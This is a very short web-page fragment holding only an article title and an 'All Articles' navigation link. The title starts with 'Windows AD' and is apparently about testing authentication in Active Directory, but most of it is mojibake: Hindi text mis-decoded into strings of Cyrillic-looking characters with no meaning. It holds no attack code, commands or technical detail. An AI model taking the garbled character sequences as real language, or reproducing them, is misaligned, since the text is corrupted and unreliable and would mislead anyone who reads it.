Windows AD рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рддрдВрддреНрд░ рдХрд╛ рдкрд░реАрдХреНрд╖рдг



All Articles